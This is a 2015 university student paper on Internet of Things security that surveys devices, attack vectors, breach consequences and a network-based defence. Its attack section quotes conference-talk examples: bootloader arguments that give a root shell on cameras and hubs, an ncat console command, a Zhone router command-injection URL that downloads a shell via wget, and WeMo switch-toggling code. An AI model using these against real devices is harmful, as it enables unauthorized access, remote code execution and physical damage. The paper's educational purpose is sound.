Transitioning to a Connected Age of Things

Evan Parton

December 14, 2015

Tufts University

Mentor: Ming Chow

CONTENTS:

1) Abstract

The Internet of Things (IoT) is becoming more ubiquitous by the day, and the world is not yet ready to secure it all. There are a plethora of concerns that we are presented with as we prepare for this transition. People are mostly excited about the increased functionality, so momentum will grow and houses will fill! Companies selling these devices want to be the first on the market, so they are pushing to make their product available as quickly as possible. Are they responsible for securing these devices completely? Is the consumer?

These devices come in many forms, beyond a fridge or a thermostat. These devices may be beyond your home and in the locations we visit, so ignorance will no longer suffice. To break this ignorance, it is helpful to know the different types of devices and attack vectors. Additionally, we will review the different types of harm that can be caused beyond leak of digital data, including the possibility for physical harm and physical robbing.

Some people will want to abstain due to fear of the implications of opening up their home in this way. However it may turn out to be impossible to protect oneself fully. We will explore the possibility of abstaining, as well as delve into the implications for our global society. Finally we review a potential solution, a software-defined approach (running on the interconnected network), which could help our global community prepare for this changing age that is ever arriving with exponential force.

2) Introduction: IoT

Devices in our home are being steadily replaced by the ‘smarter’ versions that have connectivity to the internet and in many cases the ability to connect with one another. The implications to the security of our data is vast, so we can no longer remain ignorant to the changing landscape. In fact, “About 110 million Americans— equivalent to about 50% of US adults—have had their personal data exposed in some form in the past year” [7]. Morgan Stanley has predicted 75 billion devices connected to the internet, and Cisco predicts 50 billion devices [4]. These devices can often have rudimentary functionality, so let us examine closer what these devices actually are.

The attack space for these devices is shockingly large. According to McAfee, “A recent study by HP found alarming security statistics in the IoT space. Of 10 popular devices tested:
70%-allowed an attacker to identify a valid account through account enumeration:
90%-collected at least one piece of personal information, 25-holes or risks of compromising the home network, on average, found for each device, 70%-contained security exposures, 80%-did not require passwords of sufficient complexity and length” [7].

In addition to the frighteningly insecure current state of the devices, security professionals are fundamentally poised improperly to handle the future of IoT deployments. According to a study at Carnegie Mellon University that is nay a month old at this time, the causes for this improper preparation are the “scale, heterogeneity, use cases, and device and vendor constraints of IoT” [15]. Today’s approach relies on static perimeter network defenses, ubiquitous use of end-host based defenses, and software patches from vendors. They propose that these approaches will fail in the new age of the IoT, so we must find an alternate (and new) solution. Such a solution would be a network-based policy (*μmbox*), which is discussed in greater detail below.

The implications of this increased connectivity are wild and mostly unknown to the general public, who is not well versed in computer security. These devices were traditionally not designed with security in mind. This transition represents a massive intersection between uninformed lay-users and an exploding number of ‘smart’ home appliances. This means that we are entering an age where most users of these devices do not understand the technical intricacies, yet are still given the freedom to purchase, install, configure, use, (misuse,) maintain,

and secure. A wider perspective allows us to plainly see that these lay-users should not solely be responsible for the exhaustive security of these devices, it would be impossible to expect that public to become knowledgeable enough to completely cover these necessities.

Many aspects of today's pending crisis reflects the environment of the mid-1990's when security of personal computers was becoming paramount. There was no good way to patch the increasing number of vulnerabilities, until a combination of full disclosure and automatic updates slowly changed the field over the course of the following 20 years. The situation now with the IoT is potentially worse, since computers are being installed in myriad consumer devices and all these devices are connected to the internet. "If we don't solve this soon, we're in for a security disaster as hackers figure out that it's easier to hack routers than computers" [6].

2a) Why create the IoT?

Some argue that the only reason to connect devices to the internet is so that you can collect massive amounts of data that would allow you to gather, manage, and discern useful information on the behavior of the device and the usage by its users [5]. Others simply want the convenience of being able to remotely access devices in their home. In other cases, the increasing IoT landscape has the great capacity to aid developing countries that are building on top of a basic infrastructure.

Every appliance in a home that is connected to electricity has the potential for becoming connected to the internet [3]. We focus on home kitchen appliances in this exposition since the manifestations of misbehaving machines in this context are both digital (data) as well as physical, and can be expensive or even fatal. These appliances need access to water, in some cases gas, and heating elements. Wasting these resources can be expensive, so additional data regarding our usage has the potential to save us money. "An example was when our fridge became faulty and started using a lot more electricity than it should. I spotted that on the graphics really quickly and was able to get the fridge repaired before it added very much to the electricity bill" [5].

2b) Does the IoT make our lives better?

Whether our lives are improved can be a matter of great debate, and one this author does not feel comfortable attempting to address for it involves a subjective evaluation to each individual, whose results can vary wildly. However there are some clear cases of aid abroad, such as “In rural India, [machine-to-machine devices] will ensure optimal utilization of limited resources like water and energy, and provide better healthcare and education services to rural masses through remotely managed applications” [5]. Certainly the potential for great positive change may be reason enough to continue our development and exploration in our ever-evolving highly connected age.

3) To the Community

A fundamental line of questioning necessary to understand the momentum of increasing devices is: Why are these internet connected devices appealing? Are they useful? Are they making people’s lives better? Do we really need them? These are philosophical questions outside the scope of this technical paper, for they involve the specifics of the reward we get, our personal needs, our willingness to sacrifice, and our own personal goals. These are questions that are worth asking, for they will dictate your own personal stake in this new world that is rapidly approaching.

As will hopefully become clear in the course of this exposition, the current state of security in the IoT is sheer chaos and we seem to be on a trajectory to disaster. How can we as individuals do the most to secure our own safety? While no clear answer may exist, there certainly are steps for mitigation we can do as responsible actors in this vast play. We must make the best efforts possible to keep ourselves as informed as possible to the evolving state of security, focusing specifically on the devices we know to have incorporated into our own lives. While this self constructed research may fall short, it is a basis on top of which one may become a conscionable player.

A positive note is that the field is getting massive attention, and copious people have extremely large interests in improving the landscape. For now, this author recommends avoiding early adopter status on the home devices that have potential for data breaches and physical harm. As

we move forward, the security community will be forced to define the problem and work on a solution, so expect to hear of much activity in the coming years.

4) Devices Landscape

The devices we consider include not only our traditional computers with full functional operating systems and components. Additionally we are considering a wide range of devices ranging down to the simplest of environmental sensors that exists to capture data and report back to a central server. These mini computers run CPUs such as ARM or MIPS, have a harddrive that is an in-memory integrated circuit. They typically run Linux, can communicate via WiFi or wired, and speak such protocols as HTTPD, UnPnP, FTPD, SSHD, TelnetD [14]. In the end, these mini computers may be placed in any electronic device.

For example, we can combine device functionalities to create "a food management system, which allows consumers to check food items stored inside the fridge for information such as location and expiry dates via their smartphones or its built-in LCD panel. The appliance even recommends dishes that can be cooked using the ingredients it happens to be storing" [5].

Sensors can help human kind's ability to analyze and react to the world around us. "For instance, sensors could be deployed to track and route anything from flights to goods in freight. Sensors could be installed on bridges or roads to monitor traffic flow and vehicle weight and detect which ones are over the legal limit" [5]. They can measure parameters such as temperature, pressure, humidity, level, flow, power, current, position, light, sound, movement, and speed [2]. This availability to anthropological and environmental data opens a near infinite world of potential analysis.

4a) M2M

M2M means machine-to-machine, and is meant to indicate the fact that these devices are not [only] communicating to a central server, they may be communicating to other devices (such as modems, routers, gateways, and RTUs) or people. The proliferation of these devices is due to "Advances and standardization in computer networking and low cost hardware" [5].

5) Gaining Access

McAfee, a security software provider, informs us that “Attacks against IoT devices are already commonplace: IP cameras, smart meters, healthcare devices, SCADA devices” [7]. Compromising a system can be done in a variety of ways, such as via hardware (shell access, reviewing configuration files, “grey box” access), PC applications (which are easy targets, they have special privileges), mobile applications, and cloud communication. By monitoring communications to these applications (for example with MITM ‘Man In The Middle’ software), we can sometimes learn the communication mechanism or authentication details [13].

Below we have one engineer’s methodology for executing a hardware attack:

Hardware Attacks (Methodology)
0) Open the device, void your warranty, and join the exploitation party.
1) Identify Device, hardware revisions, document hardware components
2) Research chip datasheets - figure out features
3) Identify hardware communication interfaces possibilities
4) Continuity Testing and Electrical Pinout Reversing
5) Identifying wireline protocol logic (How the hell do I talk to these chips?)
6) Hardware tools for accessing interfaces
7) Wiring up to to the board
8) Device Interrogation
9) Firmware Reverse Engineering
10) Vulnerability Research / Exploitation

source: [8]

To get a grasp on the most common existing weaknesses, OWASP published the Top Ten IoT Vulnerabilities: “Insecure web interface, Insufficient authentication/authorization, Insecure network services, Lack of transport encryption, Privacy concerns, Insecure cloud interface, Insecure mobile interface, Insufficient security configurability, Insecure software/firmware, Poor physical security” [3].

A number of researches have spent great time finding different attack vectors. Some basic vectors include methods that have been around for many years, such as basic strcpy/memcpy exploits, privilege escalation, gaining access to host OS, or accessing a backdoor (which vendor left as a ‘feature’) [14]. Notice that the exploits of these bugs and access vectors are not new to the IoT, for similar devices have been in existence for a while. The main difference is the sheer

number of devices that are available, and many are connected to the internet which would allow any stranger a chance to gain access.

Let us explore with greater depth the actual technical specifications for establishing access to a serial console, one angle for gaining access to these devices. A serial console is a text based interaction you can establish directly with the device for issuing commands. Since these devices rarely come with a keyboard or monitor, a serial console is the most direct access you can have to the device. If you succeed in gaining access, then possibilities open for accessing data on the device, making modifications, or even enacting custom behavior. To compromise and misuse a device, this would be a good place to start.

5a) Serial Console

For the smart home management system which allows centralized control of a set of components with a home, called Lowe's Iris, the following allows for access to the serial console:

```
configure linuxCmd console=ttyAM0,115200 root=/dev/mtdblock3 rootfstype=yaffs2,ext2
panic=5 init=/bin/sh bootapp
```

source: [13]

For another home management system, called Control4 HC250, we see that a simple netcat command to the correct port of the system gives us direct access. Netcat is a networking tool for reading from and writing to network connections. With the following simple request to the devices IP on port 5800, access to the serial console is acquired:

```
ncat -v 172.16.0.3 5800
```

source: [13]

A final example of serial console access, to provide slight device diversity, let us show how to gain access to the web camera product D-LINK DCS-2132L:

```
set bootargs mem=80M console=ttyAMA0,115200 root=/dev/mtdblock4 ro rootfstype=jffs2
init=/bin/sh sf probe 0;sf read 0x82000000 $(loadbootaddr) $(loadbootsize);bootm
0x82000000
```

source: [13]

5b) Command Injection

Certain commands that you can give to a device are not sanity checked, and occasionally you can execute custom code. As found with a Zhone router, we can directly send a command to the device:

```
/zhnping.cmd? &test=traceroute&sessionKey=985703201&ipA
ddr=192.168.1.1|wget%20h5p:// 192.168.1.17/shell%20-O%20/tmp/
shell&Wl=30&wait=3&queries=3
```

source: [14]

5c) UPnP Client Application

For this example, we discuss a WeMo switch, a general electricity plug to which you can attach any electronic device that needs power. The WeMo switch provides software that can remotely control whether the attached device is on or off. By gaining access to the WeMo functionality, we are able to change the state of the device, such as from on to off, or vice versa. A single action of this type may be harmful (for example, shutting down a refrigerator with crime evidence), and repeating this action rapidly may also be harmful. For example an electronic device susceptible to malfunction from such switching could cause the device to be ruined or could be “potentially lethal if it’s plugged into a space heater” [11].

Many devices are created to work with UPnP (Universal Plug and Play), which is a set of networking features that can automatically discover other devices and establish functional networking services. We review an exploit that uses Miranda, a Python-based Universal Plug-N-Play client application. The main functions to this Python based code are given below. Initially the *get()* function is called to determine the current state of the WeMo device, and subsequently functions *on()* and *off()* may be used to trigger a switch in state. The Miranda

software takes care of many of the intricate details, which allows this code to be concise. By calling our internal function *_send()*, we see that a SOAP request is sent to the device to either query the state or change the state. We may use these functions to script a loop that rapidly changes the state, a potentially harmful action.

```
def _send(action, args=None):
    if not args:
        args = {}
    host_info = conn.ENUM_HOSTS[SWITCHES[0]]
    device_name = 'controllee'
    service_name = 'basicevent'
    controlURL = host_info['proto'] + host_info['name']
    controlURL2 = hostInfo['deviceList'][device_name]['services'][service_name]['controlURL']
    if not controlURL.endswith('/') and not controlURL2.startswith('/'):
        controlURL += '/'
    controlURL += controlURL2

    resp = conn.sendSOAP(
        host_info['name'],
        'urn:Belkin:service:basicevent:1',
        controlURL,
        action,
        args
    )
    return resp

def get():
    """
    Gets the value of the first switch that it finds
    """
    resp = _send('GetBinaryState')
    tagValue = conn.extractSingleTag(resp, 'BinaryState')
    return True if tagValue == '1' else False

def on():
    """
    Turns on the first switch that it finds.

    BinaryState is set to 'Error' in the case that it was already on.
    """
    resp = _send('SetBinaryState', {'BinaryState': (1, 'Boolean')})
    tagValue = conn.extractSingleTag(resp, 'BinaryState')
    return True if tagValue in ['1', 'Error'] else False

def off():
    """
    Turns off the first switch that it finds.

    BinaryState is set to 'Error' in the case that it was already off.
    """
    resp = _send('SetBinaryState', {'BinaryState': (0, 'Boolean')})
    tagValue = conn.extractSingleTag(resp, 'BinaryState')
    return True if tagValue in ['0', 'Error'] else False
```

source: [12]

5d) Privilege Escalation

Privilege escalation is the act of a non-administrator user being able to falsely promote their own privileges to perform additional actions. If an administrator role can be achieved, then anything possible within the device can then be performed. There is a possibility for privilege escalation via Javascript controls in Zhone routers [14]. The common vulnerabilities database ID CVE-2014-8356 describes the vulnerability. “Privilege Escalation via Direct Object Reference to Upload Settings Functionality: A low-privileged user can patch the router settings via the /uploadsettings.cgi page. With this functionality, the malicious attacker is able to patch the admin and support password, hence gaining full administrative access to the Zhone router” [16]. Since these routers are a point in the middle of our communication from machines to machines, then controlling the router would allow for capture or modification of passing data.

6) Why are Devices Unprotected?

To understand why many devices are unprotected (or under-protected), we need to understand some history regarding the IoT, and in general migration towards the non-computer devices connecting to the internet.

Symmantec has performed a study by analyzing 50 available smart home devices. They “found that none of the devices enforced strong passwords, used mutual authentication, or protected accounts against brute-force attacks. Almost two out of ten of the mobile apps used to control the tested IoT devices did not use Secure Sockets Layer (SSL) to encrypt communications to the cloud. The tested IoT technology also contained many common vulnerabilities” [3].

As we noted before, these vulnerabilities are not new in the era of IoT, but instead have existed in previous devices. “All of the potential weaknesses that could afflict IoT systems, such as authentication and traffic encryption, are already well known to the security industry, but despite this, known mitigation techniques are often neglected on these devices. IoT vendors need to do a better job on security before their devices become ubiquitous in every home, leaving millions of people at risk of cyberattacks” [3].

7) Consequences of a Breach

Addressing the topic of security inherently means that only the intended parties get access to the relevant data, so in discussing the IoT we naturally strive to keep our data as private as possible. Is this even possible we ask ourselves? It may be possible in a convoluted scenario of isolation where you are not in fact connected to the external internet but instead to an internal intranet, then you could make extreme efforts to ensure your data never gets in the hands of a third party.

This communication in isolation is not however the world we live in, since many exchanges do not go over dedicated wires, instead they transmit over channels connected to the internet. Whenever we allow data to be sent over the internet, you can no longer guarantee that this transmission remains private to only you. So to a certain extent when existing in our modern world, you must assume and accept some amount of small risk that you cannot keep your data private.

If an individual unknowingly allows for their own data to be leaked, then it is natural to inquire about the possible repercussions. Having your name and habits leaked doesn't necessarily carry an immediate risk, for it is possible that the data will remain in a file somewhere and never be used. What are the further, scarier, possibilities? Slightly more harmful your data may be anonymized, used for analysis, and you are never the wiser. In analyzing if this behavior results in non-zero harm to the individual, we realize the data in fact can be used to learn to group people along certain characteristics and leverage the data to oppress or exclude either that individual proper or other similar parties.

7a) Data Leak

We explore the scenario where data leaked from your home via IoT devices comes back to specifically and tangibly harm the individual who unknowingly leaked. It may be unclear how specifically data can cause harm, however realistic scenarios are plentiful. For example, personal information may be sold to foreign entities for later manipulation. Also accessing the habits of changes to appliances (such as heat or lights) a malicious user could learn a homeowner's schedule and therefore time a breakin to when the home is empty. Otherwise, in the case of a refrigerator that accesses a user’s Google Calendar, the Google account

password is passed to and from the fridge and therefore listeners could intercept the password [9].

7b) Physical Manifestations

Many kitchen appliances, due to the nature of food preparation, have access to either a water line or a heating element, or both. With this increased connection to the physical world, we begin to see a new category of malice possible within our homes.

A popular rules-based website IF This Then That (IFTTT) allows for custom rules with complex steps to be defined. An example of a rule may be that identifying an overly heated house automatically triggers the opening of windows (to cool down the home). An attacker could hack a smart thermostat, increase the temperature causing the windows to open, then physically access the building.

Additionally consider smart coffee makers, which can have access to a water line and come equipped with a hot plate. An exploit was discovered for a Jura coffee maker (CVE-2008-7173) that could remotely change the amount of water per cup to cause water to be wasted and damage the kitchen [1]. Additionally a company Smarter has created a WiFi coffee pot with an app that allows for the duration the hotplate runs to be set [10]. At current, such a device has not reported to have started a fire, however we can imagine that an indefinitely running hotplate has the potential for such a disastrous result.

8) Conclusion: How to Protect Ourselves

Complete protection involves complete isolation from the emerging digital world. Arguably this isolation is not even possible due to our interaction with other individuals / organizations that will be capturing data *on us* when we are in their presence, possibly without our explicit knowledge of such a capture. So protection involves not only isolation from technical devices, but also from all other people in the world who have chosen to be exposed.

Barring complete isolation from our digital world and all other people, then some risk must be absorbed just for sheer existence. Mitigation of this risk may involve some of the following measures. First and foremost, we can attempt to limit our exposure to only the entities we trust.

This means being in the presence of trusted individuals and accessing only organizations of trust. This brings an inherent difficulty, since we live in such a vast and interconnected world. For example our trusted neighbor or sibling may have made a mistake in trusting some application or device that has a vulnerability, and being in their presence exposes your data to being leaked and captured (such as within audio capture, with GPS activated, etc). With this approach you are only as isolated as well as your trusted parties manage to preserve that trust. This is too difficult a stipulation that is rendered impractical in the modern world.

Education about the architecture of any device in our lives (and the connections used) is a positive step towards awareness of risk and possible steps to mitigation. Additionally we should charge ourselves with following the evolving landscape.

Researches are Carnegie Mellon University (together with CECA Peking University) explore this dilemma, since relying on the end-user to provide their own security is wrought with peril [15]. This is because the average user is not technical. We see the evolution of 'dumb' (not internet connected) devices that have filled our homes and kitchens for decades, and the devices themselves are targeted towards homeowners (smart coffee pots are not exclusively sold to computer scientists, but instead anyone who desires fancy automation of their caffeine delivery).

The solution posed in their exposition is a software-defined approach that pushes the security maintenance onto the network itself. They define a *μmbox* (micro network-security functions) that act as security gateways for each IoT device [15]. All requests to and from the IoT devices must go through this *μmbox* software, which allows for a centrally administered policy to apply ubiquitously that “can: (a) rapidly develop and deploy novel network defenses tailored to IoT use cases and (b) dynamically customize the network’s security posture to the current operating context of different devices and the environment” [15]. While this is not yet implemented, it offers hope in the future for a universal solution that can be administered by trained professionals.

9) References

[1] Hacking Coffee Makers (2008, June 17). http://www.securityfocus.com/archive/1/archive/1/493387/100/0/threaded.

[2] How to use IOT to gain a Competitive Advantage (2015, December 4). https://www.linkedin.com/pulse/embrace-iot-your-business-left-behind-luke-day?trk=seokp-company_posts_primary_cluster_res_title.

[3] Insecurity in the Internet of Things. Symantec (2015, March 12). https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/insecurity-in-the-internet-of-things.pdf.

[4] Morgan Stanley: 75 Billion Devices Will Be Connected To The Internet Of Things By 2020 (2013, October 2). http://www.businessinsider.com/75-billion-devices-will-be-connected-to-the-internet-by-2020-2013-10.

[5] The Executive's Guide to the Internet of Things. TechRepublic (2013). http://waynespies.com/wts/articles/TechRepublic-Executives_Guide_to_Internet_of_Things.pdf.

[6] The Internet of Things Is Wildly Insecure — And Often Unpatchable (2014, Janurary 6). http://www.wired.com/2014/01/theres-no-good-way-to-patch-the-internet-of-things-and-thats-a-huge-problem.

[7] Threats Predictions. McAfee Labs (2015). http://www.mcafee.com/mx/resources/misc/infographic-threats-predictions-2015.pdf.

[8] Schultz, Chase. Pwning IoT via Hardware Attacks (2015). http://www.slideshare.net/ChaseSchultz/pwning-iot-via-hardware-attacks-chase-schultz-iot-village-defcon-23.

[9] Smart refrigerator hack exposes Gmail login credentials (2015, August 26). http://www.networkworld.com/article/2976270/internet-of-things/smart-refrigerator-hack-exposes-gmail-login-credentials.html.

[10] Smarter's WiFi Coffee Maker adds caffeine to IoT (2015, January 5). http://www.slashgear.com/smarters-wifi-coffee-maker-adds-caffeine-to-iot-05361984/.

[11] Turning the Belkin WeMo into a Deathtrap (2013, January 31). http://hackaday.com/2013/01/31/turning-the-belkin-wemo-into-a-deathtrap.

[12] WeMo Hacking (2013). https://github.com/issackelly/wemo.

[13] Wineberg, Wes. Cameras, Thermostats, and Home Automation Controllers: Hacking 14 IoT Devices (2011). https://www.iotvillage.org/slides_DC23/IoT11-slides.pdf.

[14] Yang, Lyon. Practical IoT Exploitation (ARM & MIPS) (2015). http://www.slideshare.net/lyonyang3/practical-iot-exploitation-defcon23-iotvillage-lyon-yang.

[15] Yu, Tianlong (CMU). Handling a trillion (unfixable) flaws on a billion devices: Rethinking network security for the Internet-of-Things (2016, November 15). http://conferences.sigcomm.org/hotnets/2015/papers/yu.pdf.

[16] Zhone Insecure Reference / Password Disclosure / Command Injection (2015, October 12). https://packetstormsecurity.com/files/133921/Zhone-Insecure-Reference-Password-Disclosure-Command-Injection.html.